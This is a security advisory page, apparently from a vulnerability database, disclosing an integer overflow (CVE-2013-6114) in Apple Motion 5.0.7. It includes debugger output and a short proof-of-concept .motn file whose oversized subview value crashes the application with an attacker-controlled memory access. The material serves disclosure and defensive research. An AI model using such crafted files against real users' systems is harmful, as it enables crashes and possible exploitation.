Apple Motion 5.0.7 - Integer Overflow
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
 | Apple Motion OZDocument::parseElement Integer Overflow (CVE-2013-6114) | 5 Oct 201400:00 | – | checkpoint_advisories |
 | CVE-2013-6114 | 4 Nov 201311:00 | – | cve |
 | CVE-2013-6114 | 4 Nov 201311:00 | – | cvelist |
 | EUVD-2013-5943 | 7 Oct 202500:30 | – | euvd |
 | Apple Motion < 5.1 OZDocument::parseElement() Function MOTN File Subview Attribute Handling Integer Overflow | 20 Dec 201300:00 | – | nessus |
 | CVE-2013-6114 | 4 Nov 201315:55 | – | nvd |
 | Integer overflow | 4 Nov 201315:55 | – | prion |
 | APPLE-SA-2013-12-19-1 Motion 5.1 | 24 Dec 201300:00 | – | securityvulns |
| Apple Motion buffer overflow | 24 Dec 201300:00 | – | securityvulns |
Apple Motion Integer Overflow Vulnerability
===========================================
Vendor: Apple (http://www.apple.com)
Software: Motion 5.0.7
Testcase verified on: OS X 10.8
Credit: Jean Pascal Pereira <[email protected]>
DESCRIPTION
===========
An integer overflow vulnerability has been identified in Apple Motion. The issue has been verified for Motion 5.0.7 (current release). Prior versions may also be affected.
An attacker has the possibility to provide a crafted .motn file containing a viewer element with a subview attribute. If the subview attribute is set to a very low or high integer value, the application crashes due an access violation.
Debug message:
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x00000002dd6e0990
0x0000000100858eb7 in OZDocument::parseElement ()
The crash is triggered in the function OZDocument::parseElement() at the following instruction:
(gdb) x/i 0x0000000100858eb7
0x100858eb7 <_ZN10OZDocument12parseElementER22PCSerializerReadStreamR15PCStreamElement+695>: mov rsi, QWORD PTR [rbx+rax*8+0x98]
The value of rax is controlled by the attacker (in this case, the rax register contains the integer 989894991 which is provided in the PoC below).
(gdb) p $rax
$16 = 989894991
(gdb) p/x $rbx+($rax*8)+0x98
$1 = 0x2dd6e0990
PROOF OF CONCEPT
================
Create a .motn file with the following content:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ozxmlscene>
<ozml version="5.5">
<viewer subview="989894991">
</viewer>
</ozml>
DISCLOSURE TIMELINE
===================
2013/09/18: Vendor notified
2013/10/07: Public disclosureData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Oct 2013 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 25
EPSS0.04895